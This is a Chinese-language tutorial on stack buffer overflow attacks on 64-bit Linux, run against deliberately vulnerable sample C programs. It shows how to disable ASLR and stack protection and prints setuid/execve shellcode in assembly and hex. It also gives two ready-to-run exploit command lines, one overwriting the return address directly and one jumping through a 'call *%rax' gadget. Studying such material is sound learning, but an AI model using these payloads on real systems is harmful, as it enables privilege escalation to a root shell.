64位机器上的buffer overflow攻击

0x00 buffer overflow攻击基础

本文实验环境为ubuntu 12.04,64bit。参考: 栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限

0x01 实践

假设我们有这样一个c文件,名为shellcode.c:

#include <stdio.h>  
#include <string.h>  
int main(int argc, char** argv)  
{  
    char buffer[500] = {0x1,0x2,0x3,0x4, 0x5, 0x6, 0x7, 0x8, 0x9};  
    printf("buf addr %p\n", buffer);  
    strcpy(buffer, argv[1]);  
    return 0;  
}  

我们需要使用buffer overflow攻击获得一个shell。
首先在64位机器上,我们要取消地址随机:

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

其次,编译的时候得让代码能在栈中执行,并且要关掉栈保护:

gcc shellcode.c -fno-stack-protector -z execstack

准备完成后,我们使用objdump -d a.out,得到如下的汇编文件:

000000000040057d <main>:
  40057d:   55                      push   %rbp
  40057e:   48 89 e5                mov    %rsp,%rbp
  400581:   48 81 ec 10 02 00 00    sub    $0x210,%rsp
  400588:   89 bd fc fd ff ff       mov    %edi,-0x204(%rbp)
  40058e:   48 89 b5 f0 fd ff ff    mov    %rsi,-0x210(%rbp)
  400595:   48 8d 95 00 fe ff ff    lea    -0x200(%rbp),%rdx
  40059c:   b8 00 00 00 00          mov    $0x0,%eax
  4005a1:   b9 3e 00 00 00          mov    $0x3e,%ecx
  4005a6:   48 89 d7                mov    %rdx,%rdi
  4005a9:   f3 48 ab                rep stos %rax,%es:(%rdi)
  4005ac:   48 89 fa                mov    %rdi,%rdx
  4005af:   89 02                   mov    %eax,(%rdx)
  4005b1:   48 83 c2 04             add    $0x4,%rdx
  4005b5:   c6 85 00 fe ff ff 01    movb   $0x1,-0x200(%rbp)
  4005bc:   c6 85 01 fe ff ff 02    movb   $0x2,-0x1ff(%rbp)
  4005c3:   c6 85 02 fe ff ff 03    movb   $0x3,-0x1fe(%rbp)
  4005ca:   c6 85 03 fe ff ff 04    movb   $0x4,-0x1fd(%rbp)
  4005d1:   c6 85 04 fe ff ff 05    movb   $0x5,-0x1fc(%rbp)
  4005d8:   c6 85 05 fe ff ff 06    movb   $0x6,-0x1fb(%rbp)
  4005df:   c6 85 06 fe ff ff 07    movb   $0x7,-0x1fa(%rbp)
  4005e6:   c6 85 07 fe ff ff 08    movb   $0x8,-0x1f9(%rbp)
  4005ed:   c6 85 08 fe ff ff 09    movb   $0x9,-0x1f8(%rbp)
  4005f4:   48 8d 85 00 fe ff ff    lea    -0x200(%rbp),%rax
  4005fb:   48 89 c6                mov    %rax,%rsi
  4005fe:   bf c4 06 40 00          mov    $0x4006c4,%edi
  400603:   b8 00 00 00 00          mov    $0x0,%eax
  400608:   e8 53 fe ff ff          callq  400460 <printf@plt>
  40060d:   48 8b 85 f0 fd ff ff    mov    -0x210(%rbp),%rax
  400614:   48 83 c0 08             add    $0x8,%rax
  400618:   48 8b 10                mov    (%rax),%rdx
  40061b:   48 8d 85 00 fe ff ff    lea    -0x200(%rbp),%rax
  400622:   48 89 d6                mov    %rdx,%rsi
  400625:   48 89 c7                mov    %rax,%rdi
  400628:   e8 23 fe ff ff          callq  400450 <strcpy@plt>
  40062d:   b8 00 00 00 00          mov    $0x0,%eax
  400632:   c9                      leaveq
  400633:   c3                      retq

可以看到,buffer的地址位于$rbp-0x200的地方,而old_rbp应该位于$rbp+0x8的地方,rip又位于old_rbp之后,所以我们要准备一个0x208字节长度的数据,然后再这数据之后添加上buffer的首地址覆盖掉rip,当main函数返回时即可调到buffer首地址开始执行。换算成十进制,我们需要520字节的数据,这些数据中包含了shellcode和一些nop填充,然后在这520字节的数据末尾添加上buffer的首地址。

先介绍一下我们用的shellcode,它的原型如下:

#include <stdio.h>  
int main(){  
setuid(0);  
execve("/bin/sh",NULL,NULL);  
}  

不过我们并不直接使用它,它的汇编码里包含了很多\x00,会导致字符串截断,我们使用了网上的汇编(参考栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(二)shellcodeArchived Shellcode for various Operating Systems and Architectures):

global _start  

_start:  

xor rdi,rdi  
xor rax,rax  
mov al,0x69  
syscall  

xor rdx, rdx  
mov rbx, 0x68732f6e69622fff  
shr rbx, 0x8  
push rbx  
mov rdi, rsp  
xor rax, rax  
push rax  
push rdi  
mov rsi, rsp  
mov al, 0x3b  
syscall

使用以下命令可以得到其对应的shellcode:

nasm -f elf64 shell.asm     
ld -o shell shell.o  
objdump -d shell  

其shellcode为:

0000000000400080 <_start>:
  400080:   48 31 ff                xor    %rdi,%rdi
  400083:   48 31 c0                xor    %rax,%rax
  400086:   b0 69                   mov    $0x69,%al
  400088:   0f 05                   syscall 
  40008a:   48 31 d2                xor    %rdx,%rdx
  40008d:   48 bb ff 2f 62 69 6e    movabs $0x68732f6e69622fff,%rbx
  400094:   2f 73 68 
  400097:   48 c1 eb 08             shr    $0x8,%rbx
  40009b:   53                      push   %rbx
  40009c:   48 89 e7                mov    %rsp,%rdi
  40009f:   48 31 c0                xor    %rax,%rax
  4000a2:   50                      push   %rax
  4000a3:   57                      push   %rdi
  4000a4:   48 89 e6                mov    %rsp,%rsi
  4000a7:   b0 3b                   mov    $0x3b,%al
  4000a9:   0f 05                   syscall 

有了shellcode我们就可以构造下面的代码:

./a.out `python -c "print '\x90'*100"``python -c "print '\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'"``python -c "print '\x90'*377"``python -c "print '\xc0\xda\xff\xff\xff\x7f'"`

其中'\x90'*100'\x90'*377是填充的nop操作,全部放在shellcode之后也可以,之所以在shellcode前后都设置是为了让命中率提高,即使最后的地址\xc0\xda\xff\xff\xff\x7f稍有偏差也可以成功命中shellcode。我们看一下这些数据的大小:100+377+43=520,其中43为shellcode的长度,然后在这520字节之后填充buffer的首地址,即\xc0\xda\xff\xff\xff\x7f,这个地址是通过运行一次该文件得到的。

总结一下栈的状态:
buffer_over_flow

0x02 使用寄存器的buffer overflow攻击

实际的操作系统中,不可能将随机地址关掉,这时候我们就只能使用另一种方法,利用寄存器实施攻击。

假设我们的代码现在变成这样:

#include <stdio.h>  
#include <string.h>  

void evilfunction(char* input)  
{  
  char buffer[500];  
  strcpy(buffer, input);  
}  

int main(int argc, char** argv)  
{  
   evilfunction(argv[1]);  
   return 0;  
}  

首先,strcpy函数的原型入下:

char *strcpy(char *dest, const char *src);  

它的返回值其实为dest数组的收地址,保存在寄存器rax里,所以strcpy返回的地址就是函数evilfunction里的buffer的地址,也就是说rax寄存器里的地址就是evilfunction里的buffer的起始位置,而非常幸运的是在evilfunction函数中在strcpy后面并没有对rax寄存器做任何操作,而本身函数evilfunction也没有返回值(rax是返回值寄存器),所以rax不会被别的值覆盖掉。

所以,只要能找到一个call %rax的指令地址,就可以执行buffer中的命令了。

0000000000400500 <frame_dummy>:
  400500:   48 83 3d 18 09 20 00    cmpq   $0x0,0x200918(%rip)        # 600e20 <__JCR_END__>
  400507:   00  
  400508:   74 1e                   je     400528 <frame_dummy+0x28>
  40050a:   b8 00 00 00 00          mov    $0x0,%eax
  40050f:   48 85 c0                test   %rax,%rax
  400512:   74 14                   je     400528 <frame_dummy+0x28>
  400514:   55                      push   %rbp
  400515:   bf 20 0e 60 00          mov    $0x600e20,%edi
  40051a:   48 89 e5                mov    %rsp,%rbp
  40051d:   ff d0                   callq  *%rax
  40051f:   5d                      pop    %rbp
  400520:   e9 7b ff ff ff          jmpq   4004a0 <register_tm_clones>
  400525:   0f 1f 00                nopl   (%rax)
  400528:   e9 73 ff ff ff          jmpq   4004a0 <register_tm_clones>

000000000040052d <evilfunction>:
  40052d:   55                      push   %rbp
  40052e:   48 89 e5                mov    %rsp,%rbp
  400531:   48 81 ec 10 02 00 00    sub    $0x210,%rsp
  400538:   48 89 bd f8 fd ff ff    mov    %rdi,-0x208(%rbp)
  40053f:   48 8b 95 f8 fd ff ff    mov    -0x208(%rbp),%rdx
  400546:   48 8d 85 00 fe ff ff    lea    -0x200(%rbp),%rax
  40054d:   48 89 d6                mov    %rdx,%rsi
  400550:   48 89 c7                mov    %rax,%rdi
  400553:   e8 b8 fe ff ff          callq  400410 <strcpy@plt>
  400558:   c9                      leaveq 

我们可以看到,在一个系统函数frame_dummy中,有这么一行:

40051d:   ff d0                   callq  *%rax

我们只要能调用这条命令就行了,那么我们的payload如下,相比于之前的payload,其实只是最后的地址有改变,变为了上面这条命令的地址40051d

./a.out `python -c "print '\x90'*100"``python -c "print '\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'"``python -c "print '\x90'*377"``python -c "print '\x1d\x05\x40\x00'"`

0x03 疑问

  1. 问:即使关闭了地址随机化,buffer的地址还是会随着输入字符串的长度改变而改变,不太理解为什么。
  2. 问:为何不能使用直接objdump出的shellcode?